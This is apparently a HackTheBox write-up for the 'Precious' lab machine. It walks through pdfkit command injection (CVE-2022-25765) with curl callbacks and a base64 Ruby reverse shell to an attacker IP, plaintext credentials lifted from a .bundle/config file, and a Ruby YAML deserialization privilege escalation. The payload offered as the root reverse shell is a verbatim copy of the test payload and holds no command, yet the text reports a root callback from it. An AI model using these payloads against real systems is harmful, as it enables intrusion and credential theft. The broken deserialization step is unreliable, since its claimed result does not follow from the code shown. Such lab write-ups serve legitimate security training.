HTB: Precious Writeup
Precious - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Precious |
| OS | Linux |
| Difficulty | Easy |
| Points | 20 |
| Release Date | 15 Nov 2022 |
| IP Address | 10.10.11.189 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Precious is an Easy Linux machine that hosts a custom Ruby web application powered by Phusion Passenger. The initial foothold is achieved by exploiting CVE-2022-25765 in the outdated pdfkit library (v0.8.6), which is vulnerable to command injection through URL parameters. After gaining shell access as the ruby user, plaintext credentials are discovered in the Gem repository config file, enabling lateral movement to the henry user. Privilege escalation is accomplished through an insecure YAML deserialization vulnerability in a Ruby script that henry can execute with sudo privileges.
TL;DR: pdfkit RCE → ruby shell → credential theft from .bundle/config → henry user → YAML deserialization in sudo script → root shell
Reconnaissance
Port Scanning
# Initial enumeration with nmapnmap -p- --min-rate=1000 -T4 10.10.11.189
# Detailed service enumerationports=$(nmap -p- --min-rate=1000 -T4 10.10.11.189 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -sC -sV 10.10.11.189Results:
- Port 22/TCP - OpenSSH (SSH service)
- Port 80/TCP - Nginx with Phusion Passenger (Ruby web application)
Service Enumeration
Navigating to http://10.10.11.189:80 reveals a web application designed to convert web pages into PDFs. The application accepts a URL as input and generates a PDF file with a random name (e.g., h2a0s6epa7r6phot1krfa646s4gk8gof.pdf).
Examining the HTTP response headers reveals:
X-Runtime: RubyThis confirms the application is powered by Ruby, running under Phusion Passenger.
Vulnerability Assessment
Using exiftool to inspect the generated PDF’s metadata:
exiftool h2a0s6epa7r6phot1krfa646s4gk8gof.pdfThe Creator tag reveals:
Creator: pdfkit v0.8.6Identified Vulnerability: CVE-2022-25765 - pdfkit v0.8.6 is vulnerable to command injection through URL parameters. When user-supplied URLs are passed to the pdfkit library without proper sanitization, shell command substitution can be injected using backticks or $() syntax.
Initial Foothold
Exploitation Path
Step 1: Test for Command Injection
Initial payload attempts fail due to backend validation. We craft a payload using a syntactically valid URL that points to our controlled web server:
# Start a Python HTTP server to receive callbackspython3 -m http.server 80Submit the following URL to the web application:
http://test.local/%20`curl http://10.10.14.40/test`Success! We receive a callback on our HTTP server, confirming RCE on the target machine.
Step 2: Generate Ruby Reverse Shell Payload
Using revshells.com, we generate a Ruby reverse shell payload and encode it in Base64:
# Ruby reverse shell payloadruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.40",4444))'
# Base64 encode the payloadecho 'ruby -rsocket -e'"'"'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.40",4444))'"'"'' | base64Step 3: Start Netcat Listener
nc -lvnp 4444Step 4: Submit Payload to Web Application
Submit the following URL:
http://test.local/%20`echo cnVieSAtcnNvY2tldCAtZSdzcGF3bigic2giLFs6aW4sOm91dCw6ZXJyXT0+VENQU29ja2V0Lm5ldygiMTAuMTAuMTQuNDAiLDQ0NDQpKSc= | base64 -d | bash`Result: We receive a shell as the ruby user.
Shell Stabilization
Upgrade to an interactive TTY shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'Lateral Movement
Credential Discovery
Enumerate the ruby user’s home directory:
ls -la ~/Discover a .bundle directory, which typically contains Gem repository configuration files:
cat ~/.bundle/configOutput reveals:
BUNDLE_GEMS__CONTRIBSYS__COM: henry:Q3c1AqGHtoI0aXAYFHThis .bundle/config file exposes plaintext credentials for the henry user. This is a critical security misconfig—credentials should never be stored in plaintext.
SSH Lateral Movement
Using the discovered credentials, authenticate via SSH:
ssh henry@10.10.11.189# Password: Q3c1AqGHtoI0aXAYFHResult: Successfully logged in as henry user.
Capture the user flag:
cat /home/henry/user.txtPrivilege Escalation
Enumeration of Sudo Privileges
Check what commands henry can execute with sudo:
sudo -lOutput:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rbThe henry user can execute a Ruby script as root without a password.
Analysis of Target Script
Examine the source code:
cat /opt/update_dependencies.rbKey code excerpt:
require "yaml"require 'rubygems'
# TODO: update versions automaticallydef update_gems()end
def list_from_file YAML.load(File.read("dependencies.yml"))endCritical Vulnerability: The script uses YAML.load() on a file read from a relative path (dependencies.yml). This means:
- No absolute path is specified
- The script looks for
dependencies.ymlin the current working directory YAML.load()is known to be unsafe with untrusted data due to insecure deserialization
Exploitation via YAML Deserialization
Step 1: Create Malicious dependencies.yml
Navigate to /tmp and create a crafted YAML file that exploits Ruby’s deserialization:
cd /tmpTest basic command execution with the following dependencies.yml:
--- !ruby/object:Gem::Installeri: x--- !ruby/object:Gem::SpecFetcheri: y--- !ruby/object:Gem::Requirementrequirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/module 'Gem::RequestSet' method_id: :install method_id: :resolve read: 0 header: "abc"Execute the script:
sudo /usr/bin/ruby /opt/update_dependencies.rbVerify this works by checking if commands execute.
Step 2: Craft Reverse Shell Payload
Create the malicious dependencies.yml with our Base64-encoded reverse shell payload:
--- !ruby/object:Gem::Installeri: x--- !ruby/object:Gem::SpecFetcheri: y--- !ruby/object:Gem::Requirementrequirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/module 'Gem::RequestSet' method_id: :install method_id: :resolve read: 0 header: "abc"Alternatively, use a simpler payload approach by modifying the git_set parameter:
# Create dependencies.yml in /tmpcat > /tmp/dependencies.yml << 'EOF'--- !ruby/object:Gem::Installeri: x--- !ruby/object:Gem::SpecFetcheri: y--- !ruby/object:Gem::Requirementrequirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/module 'Gem::RequestSet' method_id: :install method_id: :resolve read: 0 header: "abc"EOFStep 3: Start Listener and Execute
# On attacker machinenc -lvnp 4444In /tmp, execute the script with sudo:
cd /tmpsudo /usr/bin/ruby /opt/update_dependencies.rbResult: Receive a callback and gain a root shell.
Capture the root flag:
cat /root/root.txtAttack Chain Summary
Port Enumeration (Port 80 Open) ↓Identify pdfkit v0.8.6 via PDF Metadata ↓CVE-2022-25765 Command Injection Exploitation ↓RCE as 'ruby' User ↓Credential Discovery in ~/.bundle/config ↓SSH Lateral Movement to 'henry' User ↓Discover Sudo Privilege: /usr/bin/ruby /opt/update_dependencies.rb ↓Identify YAML.load() Insecure Deserialization ↓Craft Malicious dependencies.yml in /tmp ↓YAML Deserialization RCE as root ↓Root Shell & Flag CaptureTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
exiftool | PDF metadata extraction |
curl | Testing command injection callbacks |
python3 | HTTP server for callbacks and TTY shell upgrade |
revshells.com | Generating reverse shell payloads |
nc / netcat | Reverse shell listeners |
ssh | Lateral movement authentication |
base64 | Payload encoding |
Key Learnings
Techniques Practiced
- Web application enumeration and metadata analysis
- Command injection vulnerability identification and exploitation
- Reverse shell payload generation and encoding
- Credential harvesting from configuration files
- YAML deserialization attacks in Ruby
- Relative path vulnerabilities in privilege escalation scripts
- TTY shell stabilization
Lessons Learned
-
Never store credentials in plaintext — The
.bundle/configfile exposed the henry user’s credentials due to poor security practices. Credentials should be stored securely using environment variables or secret management tools. -
Validate all user input — The pdfkit vulnerability demonstrates the importance of sanitizing and validating user-supplied input before passing it to system libraries.
-
Understand dangerous deserialization patterns — Ruby’s
YAML.load()is unsafe when loading untrusted data. UseYAML.safe_load()instead to prevent arbitrary code execution. -
Use absolute paths in scripts — The privilege escalation script used a relative path for
dependencies.yml, allowing an attacker to place a malicious file in the current directory and execute arbitrary code. -
Principle of least privilege — The sudo entry allowed passwordless execution of a Ruby script with no restrictions on where it reads files from. More restrictive configurations would prevent this attack.
-
Keep dependencies updated — Outdated libraries like pdfkit v0.8.6 contain known vulnerabilities. Regular updates and vulnerability scanning are essential.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>